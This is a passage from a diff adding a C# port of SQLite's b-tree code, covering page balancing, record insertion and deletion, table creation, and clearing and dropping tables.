1 ); + Debug.Assert( nOverflow < 3 || pOld.aOvfl[1].idx == pOld.aOvfl[2].idx - 1 ); + if ( i == iOverflow ) + { + isDivider = 1; + if ( ( --nOverflow ) > 0 ) + { + iOverflow++; + } + } + + if ( i == cntNew[k] ) + { + /* Cell i is the cell immediately following the last cell on new + ** sibling page k. If the siblings are not leaf pages of an + ** intkey b-tree, then cell i is a divider cell. */ + pNew = apNew[++k]; + if ( 0 == leafData ) + continue; + } + Debug.Assert( j < nOld ); + Debug.Assert( k < nNew ); + + /* If the cell was originally divider cell (and is not now) or + ** an overflow cell, or if the cell was located on a different sibling + ** page before the balancing, then the pointer map entries associated + ** with any child or overflow pages need to be updated. */ + if ( isDivider != 0 || pOld.pgno != pNew.pgno ) + { + if ( 0 == leafCorrection ) + { + ptrmapPut( pBt, sqlite3Get4byte( apCell[i] ), PTRMAP_BTREE, pNew.pgno, ref rc ); + } + if ( szCell[i] > pNew.minLocal ) + { + ptrmapPutOvflPtr( pNew, apCell[i], ref rc ); + } + } + } + + if ( 0 == leafCorrection ) + { + for ( i = 0; i < nNew; i++ ) + { + u32 key = sqlite3Get4byte( apNew[i].aData, 8 ); + ptrmapPut( pBt, key, PTRMAP_BTREE, apNew[i].pgno, ref rc ); + } + } + +#if FALSE +/* The ptrmapCheckPages() contains Debug.Assert() statements that verify that +** all pointer map pages are set correctly. This is helpful while +** debugging. This is usually disabled because a corrupt database may +** cause an Debug.Assert() statement to fail. */ +ptrmapCheckPages(apNew, nNew); +ptrmapCheckPages(pParent, 1); +#endif + } + + Debug.Assert( pParent.isInit != 0 ); + TRACE( "BALANCE: finished: old=%d new=%d cells=%d\n", + nOld, nNew, nCell ); + +/* +** Cleanup before returning. +*/ +balance_cleanup: + sqlite3ScratchFree( apCell ); + for ( i = 0; i < nOld; i++ ) + { + releasePage( apOld[i] ); + } + for ( i = 0; i < nNew; i++ ) + { + releasePage( apNew[i] ); + } + + return rc; +} + + +/* +** This function is called when the root page of a b-tree structure is +** overfull (has one or more overflow pages). +** +** A new child page is allocated and the contents of the current root +** page, including overflow cells, are copied into the child. The root +** page is then overwritten to make it an empty page with the right-child +** pointer pointing to the new page. +** +** Before returning, all pointer-map entries corresponding to pages +** that the new child-page now contains pointers to are updated. The +** entry corresponding to the new right-child pointer of the root +** page is also updated. +** +** If successful, ppChild is set to contain a reference to the child +** page and SQLITE_OK is returned. In this case the caller is required +** to call releasePage() on ppChild exactly once. If an error occurs, +** an error code is returned and ppChild is set to 0. +*/ +static int balance_deeper( MemPage pRoot, ref MemPage ppChild ) +{ + int rc; /* Return value from subprocedures */ + MemPage pChild = null; /* Pointer to a new child page */ + Pgno pgnoChild = 0; /* Page number of the new child page */ + BtShared pBt = pRoot.pBt; /* The BTree */ + + Debug.Assert( pRoot.nOverflow > 0 ); + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + + /* Make pRoot, the root page of the b-tree, writable. Allocate a new + ** page that will become the new right-child of pPage. Copy the contents + ** of the node stored on pRoot into the new child page. + */ + rc = sqlite3PagerWrite( pRoot.pDbPage ); + if ( rc == SQLITE_OK ) + { + rc = allocateBtreePage( pBt, ref pChild, ref pgnoChild, pRoot.pgno, 0 ); + copyNodeContent( pRoot, pChild, ref rc ); +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if ( pBt.autoVacuum ) +#else +if (false) +#endif + { + ptrmapPut( pBt, pgnoChild, PTRMAP_BTREE, pRoot.pgno, ref rc ); + } + } + if ( rc != 0 ) + { + ppChild = null; + releasePage( pChild ); + return rc; + } + Debug.Assert( sqlite3PagerIswriteable( pChild.pDbPage ) ); + Debug.Assert( sqlite3PagerIswriteable( pRoot.pDbPage ) ); + Debug.Assert( pChild.nCell == pRoot.nCell ); + + TRACE( "BALANCE: copy root %d into %d\n", pRoot.pgno, pChild.pgno ); + + /* Copy the overflow cells from pRoot to pChild */ + Array.Copy( pRoot.aOvfl, pChild.aOvfl, pRoot.nOverflow );//memcpy(pChild.aOvfl, pRoot.aOvfl, pRoot.nOverflow*sizeof(pRoot.aOvfl[0])); + pChild.nOverflow = pRoot.nOverflow; + + /* Zero the contents of pRoot. Then install pChild as the right-child. */ + zeroPage( pRoot, pChild.aData[0] & ~PTF_LEAF ); + sqlite3Put4byte( pRoot.aData, pRoot.hdrOffset + 8, pgnoChild ); + + ppChild = pChild; + return SQLITE_OK; +} + +/* +** The page that pCur currently points to has just been modified in +** some way. This function figures out if this modification means the +** tree needs to be balanced, and if so calls the appropriate balancing +** routine. Balancing routines are: +** +** balance_quick() +** balance_deeper() +** balance_nonroot() +*/ +static u8[] aBalanceQuickSpace = new u8[13]; +static int balance( BtCursor pCur ) +{ + int rc = SQLITE_OK; + int nMin = (int)pCur.pBt.usableSize * 2 / 3; + + //u8[] pFree = null; + +#if !NDEBUG || SQLITE_COVERAGE_TEST || DEBUG + int balance_quick_called = 0;//TESTONLY( int balance_quick_called = 0 ); + int balance_deeper_called = 0;//TESTONLY( int balance_deeper_called = 0 ); +#else +int balance_quick_called = 0; +int balance_deeper_called = 0; +#endif + + do + { + int iPage = pCur.iPage; + MemPage pPage = pCur.apPage[iPage]; + + if ( iPage == 0 ) + { + if ( pPage.nOverflow != 0 ) + { + /* The root page of the b-tree is overfull. In this case call the + ** balance_deeper() function to create a new child for the root-page + ** and copy the current contents of the root-page to it. The + ** next iteration of the do-loop will balance the child page. + */ + Debug.Assert( ( balance_deeper_called++ ) == 0 ); + rc = balance_deeper( pPage, ref pCur.apPage[1] ); + if ( rc == SQLITE_OK ) + { + pCur.iPage = 1; + pCur.aiIdx[0] = 0; + pCur.aiIdx[1] = 0; + Debug.Assert( pCur.apPage[1].nOverflow != 0 ); + } + } + else + { + break; + } + } + else if ( pPage.nOverflow == 0 && pPage.nFree <= nMin ) + { + break; + } + else + { + MemPage pParent = pCur.apPage[iPage - 1]; + int iIdx = pCur.aiIdx[iPage - 1]; + + rc = sqlite3PagerWrite( pParent.pDbPage ); + if ( rc == SQLITE_OK ) + { +#if !SQLITE_OMIT_QUICKBALANCE + if ( pPage.hasData != 0 + && pPage.nOverflow == 1 + && pPage.aOvfl[0].idx == pPage.nCell + && pParent.pgno != 1 + && pParent.nCell == iIdx + ) + { + /* Call balance_quick() to create a new sibling of pPage on which + ** to store the overflow cell. balance_quick() inserts a new cell + ** into pParent, which may cause pParent overflow. If this + ** happens, the next interation of the do-loop will balance pParent + ** use either balance_nonroot() or balance_deeper(). Until this + ** happens, the overflow cell is stored in the aBalanceQuickSpace[] + ** buffer. + ** + ** The purpose of the following Debug.Assert() is to check that only a + ** single call to balance_quick() is made for each call to this + ** function. If this were not verified, a subtle bug involving reuse + ** of the aBalanceQuickSpace[] might sneak in. + */ + Debug.Assert( ( balance_quick_called++ ) == 0 ); + rc = balance_quick( pParent, pPage, aBalanceQuickSpace ); + } + else +#endif + { + /* In this case, call balance_nonroot() to redistribute cells + ** between pPage and up to 2 of its sibling pages. This involves + ** modifying the contents of pParent, which may cause pParent to + ** become overfull or underfull. The next iteration of the do-loop + ** will balance the parent page to correct this. + ** + ** If the parent page becomes overfull, the overflow cell or cells + ** are stored in the pSpace buffer allocated immediately below. + ** A subsequent iteration of the do-loop will deal with this by + ** calling balance_nonroot() (balance_deeper() may be called first, + ** but it doesn't deal with overflow cells - just moves them to a + ** different page). Once this subsequent call to balance_nonroot() + ** has completed, it is safe to release the pSpace buffer used by + ** the previous call, as the overflow cell data will have been + ** copied either into the body of a database page or into the new + ** pSpace buffer passed to the latter call to balance_nonroot(). + */ + u8[] pSpace = new u8[pCur.pBt.pageSize];// u8 pSpace = sqlite3PageMalloc( pCur.pBt.pageSize ); + rc = balance_nonroot( pParent, iIdx, null, iPage == 1 ? 1 : 0 ); + //if (pFree != null) + //{ + // /* If pFree is not NULL, it points to the pSpace buffer used + // ** by a previous call to balance_nonroot(). Its contents are + // ** now stored either on real database pages or within the + // ** new pSpace buffer, so it may be safely freed here. */ + // sqlite3PageFree(ref pFree); + //} + + /* The pSpace buffer will be freed after the next call to + ** balance_nonroot(), or just before this function returns, whichever + ** comes first. */ + //pFree = pSpace; + } + } + + pPage.nOverflow = 0; + + /* The next iteration of the do-loop balances the parent page. */ + releasePage( pPage ); + pCur.iPage--; + } + } while ( rc == SQLITE_OK ); + + //if (pFree != null) + //{ + // sqlite3PageFree(ref pFree); + //} + return rc; +} + + +/* +** Insert a new record into the BTree. The key is given by (pKey,nKey) +** and the data is given by (pData,nData). The cursor is used only to +** define what table the record should be inserted into. The cursor +** is left pointing at a random location. +** +** For an INTKEY table, only the nKey value of the key is used. pKey is +** ignored. For a ZERODATA table, the pData and nData are both ignored. +** +** If the seekResult parameter is non-zero, then a successful call to +** MovetoUnpacked() to seek cursor pCur to (pKey, nKey) has already +** been performed. seekResult is the search result returned (a negative +** number if pCur points at an entry that is smaller than (pKey, nKey), or +** a positive value if pCur points at an etry that is larger than +** (pKey, nKey)). +** +** If the seekResult parameter is non-zero, then the caller guarantees that +** cursor pCur is pointing at the existing copy of a row that is to be +** overwritten. If the seekResult parameter is 0, then cursor pCur may +** point to any entry or to no entry at all and so this function has to seek +** the cursor before the new key can be inserted. +*/ +static int sqlite3BtreeInsert( +BtCursor pCur, /* Insert data into the table of this cursor */ +byte[] pKey, i64 nKey, /* The key of the new record */ +byte[] pData, int nData, /* The data of the new record */ +int nZero, /* Number of extra 0 bytes to append to data */ +int appendBias, /* True if this is likely an append */ +int seekResult /* Result of prior MovetoUnpacked() call */ +) +{ + int rc; + int loc = seekResult; /* -1: before desired location +1: after */ + int szNew = 0; + int idx; + MemPage pPage; + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + int oldCell; + byte[] newCell = null; + + if ( pCur.eState == CURSOR_FAULT ) + { + Debug.Assert( pCur.skipNext != SQLITE_OK ); + return pCur.skipNext; + } + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.wrFlag != 0 && pBt.inTransaction == TRANS_WRITE && !pBt.readOnly ); + Debug.Assert( hasSharedCacheTableLock( p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2 ) ); + + /* Assert that the caller has been consistent. If this cursor was opened + ** expecting an index b-tree, then the caller should be inserting blob + ** keys with no associated data. If the cursor was opened expecting an + ** intkey table, the caller should be inserting integer keys with a + ** blob of associated data. */ + Debug.Assert( ( pKey == null ) == ( pCur.pKeyInfo == null ) ); + + /* If this is an insert into a table b-tree, invalidate any incrblob + ** cursors open on the row being replaced (assuming this is a replace + ** operation - if it is not, the following is a no-op). */ + if ( pCur.pKeyInfo == null ) + { + invalidateIncrblobCursors( p, nKey, 0 ); + } + + /* Save the positions of any other cursors open on this table. + ** + ** In some cases, the call to btreeMoveto() below is a no-op. For + ** example, when inserting data into a table with auto-generated integer + ** keys, the VDBE layer invokes sqlite3BtreeLast() to figure out the + ** integer key to use. It then calls this function to actually insert the + ** data into the intkey B-Tree. In this case btreeMoveto() recognizes + ** that the cursor is already where it needs to be and returns without + ** doing any work. To avoid thwarting these optimizations, it is important + ** not to clear the cursor here. + */ + rc = saveAllCursors( pBt, pCur.pgnoRoot, pCur ); + if ( rc != 0 ) + return rc; + if ( 0 == loc ) + { + rc = btreeMoveto( pCur, pKey, nKey, appendBias, ref loc ); + if ( rc != 0 ) + return rc; + } + Debug.Assert( pCur.eState == CURSOR_VALID || ( pCur.eState == CURSOR_INVALID && loc != 0 ) ); + + pPage = pCur.apPage[pCur.iPage]; + Debug.Assert( pPage.intKey != 0 || nKey >= 0 ); + Debug.Assert( pPage.leaf != 0 || 0 == pPage.intKey ); + + TRACE( "INSERT: table=%d nkey=%lld ndata=%d page=%d %s\n", + pCur.pgnoRoot, nKey, nData, pPage.pgno, + loc == 0 ? "overwrite" : "new entry" ); + Debug.Assert( pPage.isInit != 0 ); + allocateTempSpace( pBt ); + newCell = pBt.pTmpSpace; + //if (newCell == null) return SQLITE_NOMEM; + rc = fillInCell( pPage, newCell, pKey, nKey, pData, nData, nZero, ref szNew ); + if ( rc != 0 ) + goto end_insert; + Debug.Assert( szNew == cellSizePtr( pPage, newCell ) ); + Debug.Assert( szNew <= MX_CELL_SIZE( pBt ) ); + idx = pCur.aiIdx[pCur.iPage]; + if ( loc == 0 ) + { + u16 szOld; + Debug.Assert( idx < pPage.nCell ); + rc = sqlite3PagerWrite( pPage.pDbPage ); + if ( rc != 0 ) + { + goto end_insert; + } + oldCell = findCell( pPage, idx ); + if ( 0 == pPage.leaf ) + { + //memcpy(newCell, oldCell, 4); + newCell[0] = pPage.aData[oldCell + 0]; + newCell[1] = pPage.aData[oldCell + 1]; + newCell[2] = pPage.aData[oldCell + 2]; + newCell[3] = pPage.aData[oldCell + 3]; + } + szOld = cellSizePtr( pPage, oldCell ); + rc = clearCell( pPage, oldCell ); + dropCell( pPage, idx, szOld, ref rc ); + if ( rc != 0 ) + goto end_insert; + } + else if ( loc < 0 && pPage.nCell > 0 ) + { + Debug.Assert( pPage.leaf != 0 ); + idx = ++pCur.aiIdx[pCur.iPage]; + } + else + { + Debug.Assert( pPage.leaf != 0 ); + } + insertCell( pPage, idx, newCell, szNew, null, 0, ref rc ); + Debug.Assert( rc != SQLITE_OK || pPage.nCell > 0 || pPage.nOverflow > 0 ); + + /* If no error has occured and pPage has an overflow cell, call balance() + ** to redistribute the cells within the tree. Since balance() may move + ** the cursor, zero the BtCursor.info.nSize and BtCursor.validNKey + ** variables. + ** + ** Previous versions of SQLite called moveToRoot() to move the cursor + ** back to the root page as balance() used to invalidate the contents + ** of BtCursor.apPage[] and BtCursor.aiIdx[]. Instead of doing that, + ** set the cursor state to "invalid". This makes common insert operations + ** slightly faster. + ** + ** There is a subtle but important optimization here too. When inserting + ** multiple records into an intkey b-tree using a single cursor (as can + ** happen while processing an "INSERT INTO ... SELECT" statement), it + ** is advantageous to leave the cursor pointing to the last entry in + ** the b-tree if possible. If the cursor is left pointing to the last + ** entry in the table, and the next row inserted has an integer key + ** larger than the largest existing key, it is possible to insert the + ** row without seeking the cursor. This can be a big performance boost. + */ + pCur.info.nSize = 0; + pCur.validNKey = false; + if ( rc == SQLITE_OK && pPage.nOverflow != 0 ) + { + rc = balance( pCur ); + + /* Must make sure nOverflow is reset to zero even if the balance() + ** fails. Internal data structure corruption will result otherwise. + ** Also, set the cursor state to invalid. This stops saveCursorPosition() + ** from trying to save the current position of the cursor. */ + pCur.apPage[pCur.iPage].nOverflow = 0; + pCur.eState = CURSOR_INVALID; + } + Debug.Assert( pCur.apPage[pCur.iPage].nOverflow == 0 ); + +end_insert: + return rc; +} + +/* +** Delete the entry that the cursor is pointing to. The cursor +** is left pointing at a arbitrary location. +*/ +static int sqlite3BtreeDelete( BtCursor pCur ) +{ + Btree p = pCur.pBtree; + BtShared pBt = p.pBt; + int rc; /* Return code */ + MemPage pPage; /* Page to delete cell from */ + int pCell; /* Pointer to cell to delete */ + int iCellIdx; /* Index of cell to delete */ + int iCellDepth; /* Depth of node containing pCell */ + + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pBt.inTransaction == TRANS_WRITE ); + Debug.Assert( !pBt.readOnly ); + Debug.Assert( pCur.wrFlag != 0 ); + Debug.Assert( hasSharedCacheTableLock( p, pCur.pgnoRoot, pCur.pKeyInfo != null ? 1 : 0, 2 ) ); + Debug.Assert( !hasReadConflicts( p, pCur.pgnoRoot ) ); + + if ( NEVER( pCur.aiIdx[pCur.iPage] >= pCur.apPage[pCur.iPage].nCell ) + || NEVER( pCur.eState != CURSOR_VALID ) + ) + { + return SQLITE_ERROR; /* Something has gone awry. */ + } + + /* If this is a delete operation to remove a row from a table b-tree, + ** invalidate any incrblob cursors open on the row being deleted. */ + if ( pCur.pKeyInfo == null ) + { + invalidateIncrblobCursors( p, pCur.info.nKey, 0 ); + } + + iCellDepth = pCur.iPage; + iCellIdx = pCur.aiIdx[iCellDepth]; + pPage = pCur.apPage[iCellDepth]; + pCell = findCell( pPage, iCellIdx ); + + /* If the page containing the entry to delete is not a leaf page, move + ** the cursor to the largest entry in the tree that is smaller than + ** the entry being deleted. This cell will replace the cell being deleted + ** from the internal node. The 'previous' entry is used for this instead + ** of the 'next' entry, as the previous entry is always a part of the + ** sub-tree headed by the child page of the cell being deleted. This makes + ** balancing the tree following the delete operation easier. */ + if ( 0 == pPage.leaf ) + { + int notUsed = 0; + rc = sqlite3BtreePrevious( pCur, ref notUsed ); + if ( rc != 0 ) + return rc; + } + + /* Save the positions of any other cursors open on this table before + ** making any modifications. Make the page containing the entry to be + ** deleted writable. Then free any overflow pages associated with the + ** entry and finally remove the cell itself from within the page. + */ + rc = saveAllCursors( pBt, pCur.pgnoRoot, pCur ); + if ( rc != 0 ) + return rc; + rc = sqlite3PagerWrite( pPage.pDbPage ); + if ( rc != 0 ) + return rc; + rc = clearCell( pPage, pCell ); + dropCell( pPage, iCellIdx, cellSizePtr( pPage, pCell ), ref rc ); + if ( rc != 0 ) + return rc; + + /* If the cell deleted was not located on a leaf page, then the cursor + ** is currently pointing to the largest entry in the sub-tree headed + ** by the child-page of the cell that was just deleted from an internal + ** node. The cell from the leaf node needs to be moved to the internal + ** node to replace the deleted cell. */ + if ( 0 == pPage.leaf ) + { + MemPage pLeaf = pCur.apPage[pCur.iPage]; + int nCell; + Pgno n = pCur.apPage[iCellDepth + 1].pgno; + //byte[] pTmp; + + pCell = findCell( pLeaf, pLeaf.nCell - 1 ); + nCell = cellSizePtr( pLeaf, pCell ); + Debug.Assert( MX_CELL_SIZE( pBt ) >= nCell ); + + //allocateTempSpace(pBt); + //pTmp = pBt.pTmpSpace; + + rc = sqlite3PagerWrite( pLeaf.pDbPage ); + byte[] pNext_4 = sqlite3Malloc( nCell + 4 ); + Buffer.BlockCopy( pLeaf.aData, pCell - 4, pNext_4, 0, nCell + 4 ); + insertCell( pPage, iCellIdx, pNext_4, nCell + 4, null, n, ref rc ); //insertCell( pPage, iCellIdx, pCell - 4, nCell + 4, pTmp, n, ref rc ); + dropCell( pLeaf, pLeaf.nCell - 1, nCell, ref rc ); + if ( rc != 0 ) + return rc; + } + + /* Balance the tree. If the entry deleted was located on a leaf page, + ** then the cursor still points to that page. In this case the first + ** call to balance() repairs the tree, and the if(...) condition is + ** never true. + ** + ** Otherwise, if the entry deleted was on an internal node page, then + ** pCur is pointing to the leaf page from which a cell was removed to + ** replace the cell deleted from the internal node. This is slightly + ** tricky as the leaf node may be underfull, and the internal node may + ** be either under or overfull. In this case run the balancing algorithm + ** on the leaf node first. If the balance proceeds far enough up the + ** tree that we can be sure that any problem in the internal node has + ** been corrected, so be it. Otherwise, after balancing the leaf node, + ** walk the cursor up the tree to the internal node and balance it as + ** well. */ + rc = balance( pCur ); + if ( rc == SQLITE_OK && pCur.iPage > iCellDepth ) + { + while ( pCur.iPage > iCellDepth ) + { + releasePage( pCur.apPage[pCur.iPage--] ); + } + rc = balance( pCur ); + } + + if ( rc == SQLITE_OK ) + { + moveToRoot( pCur ); + } + return rc; +} + +/* +** Create a new BTree table. Write into piTable the page +** number for the root page of the new table. +** +** The type of type is determined by the flags parameter. Only the +** following values of flags are currently in use. Other values for +** flags might not work: +** +** BTREE_INTKEY|BTREE_LEAFDATA Used for SQL tables with rowid keys +** BTREE_ZERODATA Used for SQL indices +*/ +static int btreeCreateTable( Btree p, ref int piTable, int createTabFlags ) +{ + BtShared pBt = p.pBt; + MemPage pRoot = new MemPage(); + Pgno pgnoRoot = 0; + int rc; + int ptfFlags; /* Page-type flage for the root page of new table */ + + Debug.Assert( sqlite3BtreeHoldsMutex( p ) ); + Debug.Assert( pBt.inTransaction == TRANS_WRITE ); + Debug.Assert( !pBt.readOnly ); + +#if SQLITE_OMIT_AUTOVACUUM +rc = allocateBtreePage(pBt, ref pRoot, ref pgnoRoot, 1, 0); +if( rc !=0){ +return rc; +} +#else + if ( pBt.autoVacuum ) + { + Pgno pgnoMove = 0; /* Move a page here to make room for the root-page */ + MemPage pPageMove = new MemPage(); /* The page to move to. */ + + /* Creating a new table may probably require moving an existing database + ** to make room for the new tables root page. In case this page turns + ** out to be an overflow page, delete all overflow page-map caches + ** held by open cursors. + */ + invalidateAllOverflowCache( pBt ); + + /* Read the value of meta[3] from the database to determine where the + ** root page of the new table should go. meta[3] is the largest root-page + ** created so far, so the new root-page is (meta[3]+1). + */ + sqlite3BtreeGetMeta( p, BTREE_LARGEST_ROOT_PAGE, ref pgnoRoot ); + pgnoRoot++; + + /* The new root-page may not be allocated on a pointer-map page, or the + ** PENDING_BYTE page. + */ + while ( pgnoRoot == PTRMAP_PAGENO( pBt, pgnoRoot ) || + pgnoRoot == PENDING_BYTE_PAGE( pBt ) ) + { + pgnoRoot++; + } + Debug.Assert( pgnoRoot >= 3 ); + + /* Allocate a page. The page that currently resides at pgnoRoot will + ** be moved to the allocated page (unless the allocated page happens + ** to reside at pgnoRoot). + */ + rc = allocateBtreePage( pBt, ref pPageMove, ref pgnoMove, pgnoRoot, 1 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + + if ( pgnoMove != pgnoRoot ) + { + /* pgnoRoot is the page that will be used for the root-page of + ** the new table (assuming an error did not occur). But we were + ** allocated pgnoMove. If required (i.e. if it was not allocated + ** by extending the file), the current page at position pgnoMove + ** is already journaled. + */ + u8 eType = 0; + Pgno iPtrPage = 0; + + releasePage( pPageMove ); + + /* Move the page currently at pgnoRoot to pgnoMove. */ + rc = btreeGetPage( pBt, pgnoRoot, ref pRoot, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = ptrmapGet( pBt, pgnoRoot, ref eType, ref iPtrPage ); + if ( eType == PTRMAP_ROOTPAGE || eType == PTRMAP_FREEPAGE ) + { + rc = SQLITE_CORRUPT_BKPT(); + } + if ( rc != SQLITE_OK ) + { + releasePage( pRoot ); + return rc; + } + Debug.Assert( eType != PTRMAP_ROOTPAGE ); + Debug.Assert( eType != PTRMAP_FREEPAGE ); + rc = relocatePage( pBt, pRoot, eType, iPtrPage, pgnoMove, 0 ); + releasePage( pRoot ); + + /* Obtain the page at pgnoRoot */ + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = btreeGetPage( pBt, pgnoRoot, ref pRoot, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = sqlite3PagerWrite( pRoot.pDbPage ); + if ( rc != SQLITE_OK ) + { + releasePage( pRoot ); + return rc; + } + } + else + { + pRoot = pPageMove; + } + + /* Update the pointer-map and meta-data with the new root-page number. */ + ptrmapPut( pBt, pgnoRoot, PTRMAP_ROOTPAGE, 0, ref rc ); + if ( rc != 0 ) + { + releasePage( pRoot ); + return rc; + } + + /* When the new root page was allocated, page 1 was made writable in + ** order either to increase the database filesize, or to decrement the + ** freelist count. Hence, the sqlite3BtreeUpdateMeta() call cannot fail. + */ + Debug.Assert( sqlite3PagerIswriteable( pBt.pPage1.pDbPage ) ); + rc = sqlite3BtreeUpdateMeta( p, 4, pgnoRoot ); + if ( NEVER( rc != 0 ) ) + { + releasePage( pRoot ); + return rc; + } + + } + else + { + rc = allocateBtreePage( pBt, ref pRoot, ref pgnoRoot, 1, 0 ); + if ( rc != 0 ) + return rc; + } +#endif + Debug.Assert( sqlite3PagerIswriteable( pRoot.pDbPage ) ); + if ( ( createTabFlags & BTREE_INTKEY ) != 0 ) + { + ptfFlags = PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF; + } + else + { + ptfFlags = PTF_ZERODATA | PTF_LEAF; + } + zeroPage( pRoot, ptfFlags ); + sqlite3PagerUnref( pRoot.pDbPage ); + Debug.Assert( ( pBt.openFlags & BTREE_SINGLE ) == 0 || pgnoRoot == 2 ); + piTable = (int)pgnoRoot; + return SQLITE_OK; +} +static int sqlite3BtreeCreateTable( Btree p, ref int piTable, int flags ) +{ + int rc; + sqlite3BtreeEnter( p ); + rc = btreeCreateTable( p, ref piTable, flags ); + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Erase the given database page and all its children. Return +** the page to the freelist. +*/ +static int clearDatabasePage( +BtShared pBt, /* The BTree that contains the table */ +Pgno pgno, /* Page number to clear */ +int freePageFlag, /* Deallocate page if true */ +ref int pnChange /* Add number of Cells freed to this counter */ +) +{ + MemPage pPage = new MemPage(); + int rc; + byte[] pCell; + int i; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + if ( pgno > btreePagecount( pBt ) ) + { + return SQLITE_CORRUPT_BKPT(); + } + + rc = getAndInitPage( pBt, pgno, ref pPage ); + if ( rc != 0 ) + return rc; + for ( i = 0; i < pPage.nCell; i++ ) + { + int iCell = findCell( pPage, i ); + pCell = pPage.aData; // pCell = findCell( pPage, i ); + if ( 0 == pPage.leaf ) + { + rc = clearDatabasePage( pBt, sqlite3Get4byte( pCell, iCell ), 1, ref pnChange ); + if ( rc != 0 ) + goto cleardatabasepage_out; + } + rc = clearCell( pPage, iCell ); + if ( rc != 0 ) + goto cleardatabasepage_out; + } + if ( 0 == pPage.leaf ) + { + rc = clearDatabasePage( pBt, sqlite3Get4byte( pPage.aData, 8 ), 1, ref pnChange ); + if ( rc != 0 ) + goto cleardatabasepage_out; + } + else //if (pnChange != 0) + { + //Debug.Assert(pPage.intKey != 0); + pnChange += pPage.nCell; + } + if ( freePageFlag != 0 ) + { + freePage( pPage, ref rc ); + } + else if ( ( rc = sqlite3PagerWrite( pPage.pDbPage ) ) == 0 ) + { + zeroPage( pPage, pPage.aData[0] | PTF_LEAF ); + } + +cleardatabasepage_out: + releasePage( pPage ); + return rc; +} + +/* +** Delete all information from a single table in the database. iTable is +** the page number of the root of the table. After this routine returns, +** the root page is empty, but still exists. +** +** This routine will fail with SQLITE_LOCKED if there are any open +** read cursors on the table. Open write cursors are moved to the +** root of the table. +** +** If pnChange is not NULL, then table iTable must be an intkey table. The +** integer value pointed to by pnChange is incremented by the number of +** entries in the table. +*/ +static int sqlite3BtreeClearTable( Btree p, int iTable, ref int pnChange ) +{ + int rc; + BtShared pBt = p.pBt; + sqlite3BtreeEnter( p ); + Debug.Assert( p.inTrans == TRANS_WRITE ); + + /* Invalidate all incrblob cursors open on table iTable (assuming iTable + ** is the root of a table b-tree - if it is not, the following call is + ** a no-op). */ + invalidateIncrblobCursors( p, 0, 1 ); + + rc = saveAllCursors( pBt, (Pgno)iTable, null ); + if ( SQLITE_OK == rc ) + { + rc = clearDatabasePage( pBt, (Pgno)iTable, 0, ref pnChange ); + } + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Erase all information in a table and add the root of the table to +** the freelist. Except, the root of the principle table (the one on +** page 1) is never added to the freelist. +** +** This routine will fail with SQLITE_LOCKED if there are any open +** cursors on the table. +** +** If AUTOVACUUM is enabled and the page at iTable is not the last +** root page in the database file, then the last root page +** in the database file is moved into the slot formerly occupied by +** iTable and that last slot formerly occupied by the last root page +** is added to the freelist instead of iTable. In this say, all +** root pages are kept at the beginning of the database file, which +** is necessary for AUTOVACUUM to work right. piMoved is set to the +** page number that used to be the last root page in the file before +** the move. If no page gets moved, piMoved is set to 0. +** The last root page is recorded in meta[3] and the value of +** meta[3] is updated by this procedure. +*/ +static int btreeDropTable( Btree p, Pgno iTable, ref int piMoved ) +{ + int rc; + MemPage pPage = null; + BtShared pBt = p.pBt; + + Debug.Assert( sqlite3BtreeHoldsMutex( p ) ); + Debug.Assert( p.inTrans == TRANS_WRITE ); + + /* It is illegal to drop a table if any cursors are open on the + ** database. This is because in auto-vacuum mode the backend may + ** need to move another root-page to fill a gap left by the deleted + ** root page. If an open cursor was using this page a problem would + ** occur. + ** + ** This error is caught long before control reaches this point. + */ + if ( NEVER( pBt.pCursor ) ) + { + sqlite3ConnectionBlocked( p.db, pBt.pCursor.pBtree.db ); + return SQLITE_LOCKED_SHAREDCACHE; + } + + rc = btreeGetPage( pBt, (Pgno)iTable, ref pPage, 0 ); + if ( rc != 0 ) + return rc; + int Dummy0 = 0; + rc = sqlite3BtreeClearTable( p, (int)iTable, ref Dummy0 ); + if ( rc != 0 ) + { + releasePage( pPage ); + return rc; + } + + piMoved = 0; + + if ( iTable > 1 ) + { +#if SQLITE_OMIT_AUTOVACUUM +freePage(pPage, ref rc); +releasePage(pPage); +#else + if ( pBt.autoVacuum ) + { + Pgno maxRootPgno = 0; + sqlite3BtreeGetMeta( p, BTREE_LARGEST_ROOT_PAGE, ref maxRootPgno ); + + if ( iTable == maxRootPgno ) + { + /* If the table being dropped is the table with the largest root-page + ** number in the database, put the root page on the free list. + */ + freePage( pPage, ref rc ); + releasePage( pPage ); + if ( rc != SQLITE_OK ) + { + return rc; + } + } + else + { + /* The table being dropped does not have the largest root-page + ** number in the database. So move the page that does into the + ** gap left by the deleted root-page. + */ + MemPage pMove = new MemPage(); + releasePage( pPage ); + rc = btreeGetPage( pBt, maxRootPgno, ref pMove, 0 ); + if ( rc != SQLITE_OK ) + { + return rc; + } + rc = relocatePage( pBt, pMove, PTRMAP_ROOTPAGE, 0, iTable, 0 ); + releasePage( pMove ); + if ( rc != SQLITE_OK ) + { + return rc; + } + pMove = null; + rc = btreeGetPage( pBt, maxRootPgno, ref pMove, 0 ); + freePage( pMove, ref rc ); + releasePage( pMove ); + if ( rc != SQLITE_OK ) + { + return rc; + } + piMoved = (int)maxRootPgno; + } + + /* Set the new 'max-root-page' value in the database header. This + ** is the old value less one, less one more if that happens to + ** be a root-page number, less one again if that is the + ** PENDING_BYTE_PAGE. + */ + maxRootPgno--; + while ( maxRootPgno == PENDING_BYTE_PAGE( pBt ) + || PTRMAP_ISPAGE( pBt, maxRootPgno ) ) + { + maxRootPgno--; + } + Debug.Assert( maxRootPgno != PENDING_BYTE_PAGE( pBt ) ); + + rc = sqlite3BtreeUpdateMeta( p, 4, maxRootPgno ); + } 